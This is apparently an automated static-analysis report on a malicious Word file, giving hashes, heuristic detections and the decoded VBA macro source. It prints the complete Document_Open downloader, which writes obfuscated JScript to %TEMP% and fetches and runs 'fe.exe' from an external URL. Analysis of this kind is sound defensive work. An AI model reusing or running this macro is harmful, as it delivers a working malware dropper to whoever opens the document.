Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 be223fbe0d54dc29…

MALICIOUS

Office (OOXML)

136.1 KB Created: 2021-06-16 21:44:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: 08daae4c2a5c62238d24238096b329be SHA-1: 2e3508afc0b0ac72cbf6d3d0919b6f80ee3363da SHA-256: be223fbe0d54dc29cdbed3eb7f8a203fc43cdac0e62fb0287a4ceea3f6cce5c4
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Office document containing a VBA macro with a Document_Open auto-execution routine. The macro utilizes WScript.Shell to execute commands, specifically creating an ADODB.Stream object to download a payload from the URL 'https://a.pomf.cat/uquyqs.t' and saving it as '%TEMP%\fe.exe'. This indicates a downloader or droppper functionality.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    VBRSBgv.Close
Shell Environ("COMSPEC") & " /c start " & jrhuUJhg1 & "\" & "rberbr.js", vbHide
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Dim ssap As String
ssap = "var _0x3a85=['1330266MkFDcr','101760EUGpaf','ExpandEnvironmentStrings','1066655Ikbepd','send','%TEMP%','589132ILmObW','Type','Write','Position','ADODB.Stream','227kxxLpQ','91qHpurL','CreateObject','Open','https://a.pomf.cat/uquyqs.t','284526rkTOoR','WScript.Shell','4086047inkEaf','/fe.exe'];var _0x4c6240=_0x3c78,_0x5e4cc5=_0x3c78;(function(_0x2d7b61,_0x492d66){var _0x313c51=_0x3c78,_0x35a2c6=_0x3c78;while(!![]){try{var _0x4e4740=-parseInt(_0x313c51(0x1dd))+-parseInt(_0x313c51(0x1cf))*par …
"t(_0x35a2c6(0x1d8))+-parseInt(_0x313c51(0x1d7))+-parseInt(_0x35a2c6(0x1da))+-parseInt(_0x35a2c6(0x1d3))+parseInt(_0x313c51(0x1d5));if(_0x4e4740===_0x492d66)break;else _0x2d7b61['push'](_0x2d7b61['shift']());}catch(_0x3c4768){_0x2d7b61['push'](_0x2d7b61['shift']());}}}(_0x3a85,0xa933b));function _0x3c78(_0x7f2a9d,_0x43bcf9){_0x7f2a9d=_0x7f2a9d-0x1cf;var _0x3a8563=_0x3a85[_0x7f2a9d];return _0x3a8563;}try{var WshShell=WScript[_0x4c6240(0x1d0)](_0x4c6240(0x1d4)),filepath=WshShell[_0x5e4cc5(0x1d9)]( …
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim ssap As String
ssap = "var _0x3a85=['1330266MkFDcr','101760EUGpaf','ExpandEnvironmentStrings','1066655Ikbepd','send','%TEMP%','589132ILmObW','Type','Write','Position','ADODB.Stream','227kxxLpQ','91qHpurL','CreateObject','Open','https://a.pomf.cat/uquyqs.t','284526rkTOoR','WScript.Shell','4086047inkEaf','/fe.exe'];var _0x4c6240=_0x3c78,_0x5e4cc5=_0x3c78;(function(_0x2d7b61,_0x492d66){var _0x313c51=_0x3c78,_0x35a2c6=_0x3c78;while(!![]){try{var _0x4e4740=-parseInt(_0x313c51(0x1dd))+-parseInt(_0x313c51(0x1cf))*par …
"t(_0x35a2c6(0x1d8))+-parseInt(_0x313c51(0x1d7))+-parseInt(_0x35a2c6(0x1da))+-parseInt(_0x35a2c6(0x1d3))+parseInt(_0x313c51(0x1d5));if(_0x4e4740===_0x492d66)break;else _0x2d7b61['push'](_0x2d7b61['shift']());}catch(_0x3c4768){_0x2d7b61['push'](_0x2d7b61['shift']());}}}(_0x3a85,0xa933b));function _0x3c78(_0x7f2a9d,_0x43bcf9){_0x7f2a9d=_0x7f2a9d-0x1cf;var _0x3a8563=_0x3a85[_0x7f2a9d];return _0x3a8563;}try{var WshShell=WScript[_0x4c6240(0x1d0)](_0x4c6240(0x1d4)),filepath=WshShell[_0x5e4cc5(0x1d9)]( …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
On Error Resume Next
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Dim rebrbcwVD As Object
jrhuUJhg1 = Environ("TEMP")
Set rebrbcwVD = CreateObject("Scripting.FileSystemObject")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://a.pomf.cat/uquyqs.t In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2433 bytes
SHA-256: 76508f72829248a472aeed1f694cdd407db307067941597845b1c1839f179a58
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
On Error Resume Next
Dim ssap As String
ssap = "var _0x3a85=['1330266MkFDcr','101760EUGpaf','ExpandEnvironmentStrings','1066655Ikbepd','send','%TEMP%','589132ILmObW','Type','Write','Position','ADODB.Stream','227kxxLpQ','91qHpurL','CreateObject','Open','https://a.pomf.cat/uquyqs.t','284526rkTOoR','WScript.Shell','4086047inkEaf','/fe.exe'];var _0x4c6240=_0x3c78,_0x5e4cc5=_0x3c78;(function(_0x2d7b61,_0x492d66){var _0x313c51=_0x3c78,_0x35a2c6=_0x3c78;while(!![]){try{var _0x4e4740=-parseInt(_0x313c51(0x1dd))+-parseInt(_0x313c51(0x1cf))*parseInt(_0x35a2c6(0x1e2))+-parseIn" & _
"t(_0x35a2c6(0x1d8))+-parseInt(_0x313c51(0x1d7))+-parseInt(_0x35a2c6(0x1da))+-parseInt(_0x35a2c6(0x1d3))+parseInt(_0x313c51(0x1d5));if(_0x4e4740===_0x492d66)break;else _0x2d7b61['push'](_0x2d7b61['shift']());}catch(_0x3c4768){_0x2d7b61['push'](_0x2d7b61['shift']());}}}(_0x3a85,0xa933b));function _0x3c78(_0x7f2a9d,_0x43bcf9){_0x7f2a9d=_0x7f2a9d-0x1cf;var _0x3a8563=_0x3a85[_0x7f2a9d];return _0x3a8563;}try{var WshShell=WScript[_0x4c6240(0x1d0)](_0x4c6240(0x1d4)),filepath=WshShell[_0x5e4cc5(0x1d9)](_0x5e4cc5(0x1dc))+_0x5e4cc5(0x1d6),url=_0x" & _
"5e4cc5(0x1d2),xhr=new ActiveXObject('MSXML2.XMLHTTP');xhr['open']('GET',url,![]),xhr[_0x5e4cc5(0x1db)]();var fso=new ActiveXObject('Scripting.FileSystemObject');if(fso['FileExists'](filepath)==![]){var stream=new ActiveXObject(_0x4c6240(0x1e1));stream[_0x4c6240(0x1d1)](),stream[_0x4c6240(0x1de)]=0x1,stream[_0x5e4cc5(0x1df)](xhr['ResponseBody']),stream[_0x4c6240(0x1e0)]=0x0,stream['SaveToFile'](filepath,0x2),stream['Close']();}var shell=WScript[_0x4c6240(0x1d0)](_0x5e4cc5(0x1d4));shell['Run'](filepath);}catch(_0x4256d6){}"
Dim jrhuUJhg1 As String
Dim rebrbcwVD As Object
jrhuUJhg1 = Environ("TEMP")
Set rebrbcwVD = CreateObject("Scripting.FileSystemObject")
Dim VBRSBgv As Object
Set VBRSBgv = rebrbcwVD.CreateTextFile(jrhuUJhg1 & "\" & "rberbr.js", True, True)
VBRSBgv.write ssap

VBRSBgv.Close
Shell Environ("COMSPEC") & " /c start " & jrhuUJhg1 & "\" & "rberbr.js", vbHide

End Sub

Attribute VB_Name = "NewMacros"
Sub grewb()
'
' grewb Macro
'
'

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 9dbfd4074a156ea9629abfad60e6ddc67438984da2ad77bdc43117d0dc7eb2ef

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